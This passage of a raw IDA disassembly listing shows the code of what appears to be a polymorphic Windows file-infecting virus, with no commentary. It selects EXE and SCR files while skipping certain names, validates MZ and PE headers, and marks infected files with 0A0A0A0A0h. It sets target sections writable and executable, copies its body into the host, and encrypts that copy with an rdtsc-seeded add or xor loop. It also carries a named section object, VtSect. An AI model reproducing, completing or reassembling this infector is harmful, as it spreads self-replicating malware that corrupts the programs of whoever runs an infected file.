edi jmp short loc_3144C485 ; --------------------------------------------------------------------------- lea edi, [ebp+104184h] cld loc_3144C481: ; CODE XREF: .ifc_:3144C493j mov ebx, edi xor ecx, ecx loc_3144C485: ; CODE XREF: .ifc_:3144C478j ; .ifc_:3144C49Bj lodsb cmp al, 61h jb short loc_3144C490 cmp al, 7Ah ja short loc_3144C490 sub al, 20h loc_3144C490: ; CODE XREF: .ifc_:3144C488j ; .ifc_:3144C48Cj stosb cmp al, 5Ch jz short loc_3144C481 cmp al, 2Eh jz short loc_3144C476 cmp al, 0 jnz short loc_3144C485 jecxz short locret_3144C468 mov eax, [ecx] cmp eax, 455845h jz short loc_3144C4B3 cmp eax, 524353h jnz locret_3144C3E6 loc_3144C4B3: ; CODE XREF: .ifc_:3144C4A6j mov eax, [ebx] cmp eax, 434E4957h jz locret_3144C3E6 cmp eax, 4E554357h jz locret_3144C3E6 cmp eax, 32334357h jz locret_3144C3E6 cmp eax, 4F545350h jz locret_3144C3E6 xor ebx, ebx call sub_3144C315 jnz short loc_3144C4FA call sub_3144C1E9 call sub_3144C315 jz locret_3144C3E6 loc_3144C4FA: ; CODE XREF: .ifc_:3144C4E8j xor edx, edx call sub_3144C517 call sub_3144C469 call $+5 pop ebp sub ebp, 10344Fh jmp loc_3144C911 ; =============== S U B R O U T I N E ======================================= sub_3144C517 proc near ; CODE XREF: .ifc_:3144C4FCp var_1C = dword ptr -1Ch push dword ptr fs:[edx] mov esi, [ebp+1042B4h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_3144C911 mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_3144C911 test dword ptr [ebx+16h], 2000h jnz loc_3144C911 test byte ptr [ebx+5Ch], 2 jz loc_3144C911 mov eax, [ebx+8] cmp eax, 0A0A0A0A0h jz loc_3144C911 cmp eax, 20202020h jz loc_3144C911 mov ecx, [ebx+0C8h] jecxz short loc_3144C58C push ecx call near ptr dword_3144B4CC+4 add ecx, [ebp+1042F8h] add ecx, esi and dword ptr [ecx+40h], 0 and dword ptr [ecx+44h], 0 loc_3144C58C: ; CODE XREF: sub_3144C517+5Dj call sub_3144C42C jb loc_3144C911 and dword ptr [ebp+1042FCh], 0 mov eax, [edx+8] mov ecx, [edx+10h] sub eax, ecx jnb short loc_3144C5AC xor eax, eax jmp short loc_3144C5B1 ; --------------------------------------------------------------------------- loc_3144C5AC: ; CODE XREF: sub_3144C517+8Fj add ecx, eax mov [edx+10h], ecx loc_3144C5B1: ; CODE XREF: sub_3144C517+93j mov [ebp+1042BCh], eax add ecx, [edx+0Ch] mov eax, 10000h push ecx call near ptr dword_3144AC0C+43h xor [ebp+1039BEh], dl mov cl, 20h xor [ebp+1039BFh], dh loc_3144C5D3: ; CODE XREF: sub_3144C517+D5j push 20h dec cl pop eax js short loc_3144C5EE call near ptr dword_3144AC0C+43h test edx, edx setz dl shl edx, cl xor [ebp+1039C0h], edx jmp short loc_3144C5D3 ; --------------------------------------------------------------------------- loc_3144C5EE: ; CODE XREF: sub_3144C517+C1j test dword ptr [ebp+1039C0h], 2000000h jz short loc_3144C61C test dword ptr [ebp+1039C0h], 3 jnz short loc_3144C612 and dword ptr [ebp+1039C0h], 0F7FFFFFFh jmp short loc_3144C61C ; --------------------------------------------------------------------------- loc_3144C612: ; CODE XREF: sub_3144C517+EDj or dword ptr [ebp+1039C0h], 10000000h loc_3144C61C: ; CODE XREF: sub_3144C517+E1j ; sub_3144C517+F9j ... push 6 pop ecx loc_3144C622: ; CODE XREF: sub_3144C517+129j push 6 pop eax call near ptr dword_3144AC0C+43h mov al, [ebp+1039B8h] xchg al, [edx+ebp+1039B8h] mov [ebp+1039B8h], al loop loc_3144C622 test dword ptr [ebp+1039C0h], 8 jnz short loc_3144C657 cmp byte ptr [ebp+1039BAh], 1 jz short loc_3144C61C loc_3144C657: ; CODE XREF: sub_3144C517+135j test dword ptr [ebp+1039C0h], 10000000h jz short loc_3144C67E cmp byte ptr [ebp+1039B8h], 5 jz short loc_3144C61C cmp byte ptr [ebp+1039B9h], 5 jz short loc_3144C61C cmp byte ptr [ebp+1039BAh], 5 jz short loc_3144C61C loc_3144C67E: ; CODE XREF: sub_3144C517+14Aj test dword ptr [ebp+1039C0h], 400000h jz short loc_3144C693 cmp byte ptr [ebp+1039B8h], 2 ja short loc_3144C61C loc_3144C693: ; CODE XREF: sub_3144C517+171j and dword ptr [ebp+104300h], 0 call loc_3144B911 call loc_3144C3E7 call sub_3144C91A mov ebx, [ebp+1042B8h] add ebx, [ebp+1042BCh] call sub_3144C315 jz loc_3144C911 mov esi, [ebp+1042B4h] mov ebx, [esi+3Ch] add ebx, esi call sub_3144C42C jb loc_3144C911 or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+1039C0h], 20000000h jnz short loc_3144C707 mov [ebp+104304h], edi lea esi, [ebp+1039CCh] mov ecx, [ebp+101069h] rep movsb loc_3144C707: ; CODE XREF: sub_3144C517+1DAj push edi mov ecx, 0A73h lea esi, [ebp+101000h] rep movsd mov cl, 0 jecxz short loc_3144C71B rep movsb loc_3144C71B: ; CODE XREF: sub_3144C517+200j test dword ptr [ebp+1039C0h], 20000000h jz loc_3144C7D9 push dword ptr [ebx+28h] call near ptr dword_3144B4CC+4 mov edx, [ebp+1042F4h] test edx, edx jz loc_3144C7D9 mov esi, [ebp+1042B4h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_3144C758 xor ecx, ecx loc_3144C758: ; CODE XREF: sub_3144C517+23Dj add esi, [edx+14h] cmp ecx, [ebp+101069h] mov ecx, [ebp+101069h] jb short loc_3144C7BF mov edi, [esp+1Ch+var_1C] and dword ptr [ebp+101069h], 0 and dword ptr [edi+69h], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, [ebp+1042C8h] test dword ptr [ebp+1039C0h], 40h jz short loc_3144C798 neg dword ptr [eax] loc_3144C798: ; CODE XREF: sub_3144C517+27Dj add esi, [edx+0Ch] sub [eax], esi mov [ebp+104300h], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+1039C0h], 40h jz short loc_3144C7B6 neg dword ptr [eax] loc_3144C7B6: ; CODE XREF: sub_3144C517+29Bj push ecx call loc_3144C3E7 pop ecx jmp short loc_3144C7CB ; --------------------------------------------------------------------------- loc_3144C7BF: ; CODE XREF: sub_3144C517+250j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_3144C7CB: ; CODE XREF: sub_3144C517+2A6j lea esi, [ebp+1039CCh] mov [ebp+104304h], edi rep movsb loc_3144C7D9: ; CODE XREF: sub_3144C517+20Ej ; sub_3144C517+224j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+137h] cmp dl, [ebp+1039BEh] jnz short loc_3144C7F2 imul edx, 12345678h loc_3144C7F2: ; CODE XREF: sub_3144C517+2D3j mov [eax-19h], dx call sub_3144A1DC pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+1039C0h], 20000000h lea eax, [ecx+5] jnz short loc_3144C824 mov [ebp+104300h], ecx add eax, [ebp+101069h] and dword ptr [edi+69h], 0 loc_3144C824: ; CODE XREF: sub_3144C517+2F8j sub eax, [ebx+28h] mov [edi+54h], eax test dword ptr [ebp+103F7Ch], 1 jz short loc_3144C840 mov dword ptr [ebx+8], 0A0A0A0A0h loc_3144C840: ; CODE XREF: sub_3144C517+320j test dword ptr [ebp+1039C0h], 400000h jz short loc_3144C853 push edx call sub_3144BFAD pop edx loc_3144C853: ; CODE XREF: sub_3144C517+333j mov ecx, [ebp+104300h] jecxz short loc_3144C860 mov [ebx+28h], ecx jmp short loc_3144C86D ; --------------------------------------------------------------------------- loc_3144C860: ; CODE XREF: sub_3144C517+342j mov ecx, [ebp+1042FCh] jecxz short loc_3144C86A jmp short loc_3144C86D ; --------------------------------------------------------------------------- loc_3144C86A: ; CODE XREF: sub_3144C517+34Fj mov ecx, [ebx+28h] loc_3144C86D: ; CODE XREF: sub_3144C517+347j ; sub_3144C517+351j test dword ptr [ebp+1039C0h], 3 jz short loc_3144C88D mov eax, [ebp+104304h] add ecx, [ebp+1042ECh] add eax, [ebp+1042E8h] add [eax], ecx loc_3144C88D: ; CODE XREF: sub_3144C517+360j mov ecx, [edx+10h] mov eax, [ebp+1042B8h] cmp [edx+8], ecx jnb short loc_3144C89E mov [edx+8], ecx loc_3144C89E: ; CODE XREF: sub_3144C517+382j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+1042C0h] push 29CCh add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+1039BEh] test dword ptr [ebp+1039C0h], 20000000h jz short loc_3144C8CF add ecx, [ebp+101069h] loc_3144C8CF: ; CODE XREF: sub_3144C517+3B0j mov dh, 0 test dword ptr [ebp+1039C0h], 20000h jnz short loc_3144C8F1 inc dh test dword ptr [ebp+1039C0h], 40000h jnz short loc_3144C8F1 mov dh, [ebp+1039BFh] loc_3144C8F1: ; CODE XREF: sub_3144C517+3C4j ; sub_3144C517+3D2j test dword ptr [ebp+1039C0h], 4000h jnz short loc_3144C908 loc_3144C8FD: ; CODE XREF: sub_3144C517+3EDj mov al, [edi] add al, dl stosb add dl, dh loop loc_3144C8FD jmp short loc_3144C911 ; --------------------------------------------------------------------------- loc_3144C908: ; CODE XREF: sub_3144C517+3E4j ; sub_3144C517+3F8j mov al, [edi] xor al, dl stosb add dl, dh loop loc_3144C908 loc_3144C911: ; CODE XREF: .ifc_:3144C512j ; sub_3144C517+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_3144C517 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3144C91A proc near ; CODE XREF: sub_3144C517+18Dp cmp dword ptr [ebp+104298h], 0 jz locret_3144C3E6 push dword ptr [ebp+1042B4h] call dword ptr [ebp+103EEEh] loc_3144C933: ; CODE XREF: sub_3144C315+C5j push dword ptr [ebp+1042B0h] call dword ptr [ebp+103E62h] lea ecx, [ebp+10429Ch] lea edx, [ebp+1042A4h] push ecx push edx push 0 push dword ptr [ebp+104298h] call dword ptr [ebp+103EE2h] loc_3144C95B: ; CODE XREF: sub_3144C315+6Bj ; sub_3144C315+82j ... push dword ptr [ebp+104298h] call dword ptr [ebp+103E62h] loc_3144C967: ; CODE XREF: sub_3144C315+45j lea esi, [ebp+104184h] push dword ptr [ebp+104294h] push esi call dword ptr [ebp+103EDEh] and dword ptr [ebp+104298h], 0 retn sub_3144C91A endp ; --------------------------------------------------------------------------- dw 0E8h dd 5D000000h, 0ED81016Ah, 1038CBh, 0C10FF058h, 10158885h dd 0C3C08500h, 0F0FFC883h, 8885C10Fh, 0C3001015h, 2A00103Dh dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h, 575FFFFh dd 0FFFAB5E8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h, 104184B5h dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h dd 0FF505200h, 103F2E95h, 8C48300h, 3F5C3E81h, 3755C3Fh dd 0E804C683h, 0FFFFFA62h, 0FFFF7FE8h, 0B8C361FFh, 74h dd 2FB8B1EBh, 0E8000000h, 1Dh, 0B80020C2h, 30h, 10E8h dd 24C200h, 185B8h, 3E800h, 2CC20000h, 24548D00h, 832ECD0Ch dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 0A2ED811Ah dd 0E8001039h, 0FFFFE0B3h, 4C261h, 5060107h, 0CFBB0203h dd 19125242h, 108815FFh, 0FF8B0100h, 119h dup(0) aBasenamedobjec: unicode 0, <\BaseNamedObjects\VtSect>,0 dw 9B47h dd 8AD7C80h, 3317C83h, 0ADA07C91h, 7C80h, 0 dd 0BDB60000h, 1A247C80h, 945C7C80h, 23677C80h, 42C7C80h dd 6377C81h, 4B0F7C81h, 0C0587C86h, 0E7EC7C80h, 0ABDE7C80h dd 153C7C80h, 0A777C81h, 1C457C81h, 0B6A17C83h, 8FF7C80h dd 5DCA7C86h, 11DA7C83h, 2ADE7C81h, 1BA57C81h, 1D777C82h dd 0B9057C80h, 0BB767C80h, 9E17C80h, 3DE57C83h, 3F587C86h dd 27827C86h, 1CB87C81h, 24427C83h, 0B1C7C80h, 0B9747C81h dd 9A517C80h, 0D877C80h, 0D4607C81h, 0D6827C90h, 0D7547C90h dd 0D7697C90h, 0D7937C90h, 7C90h, 0DC550000h, 0DCFD7C90h dd 0DD907C90h, 0DDBA7C90h, 0DEB67C90h, 0E0457C90h, 0EA327C90h dd 30C67C90h, 7C91h, 14h dup(0) dd 320030h, 3144D048h, 42005Ch, 730061h, 4E0065h, 6D0061h dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 740056h dd 650053h, 740063h, 13E2h dup(0) db 0 _ifc_ ends ; Section 5. (virtual address 00023000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00022200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 31453000h align 2000h _idata2 ends end start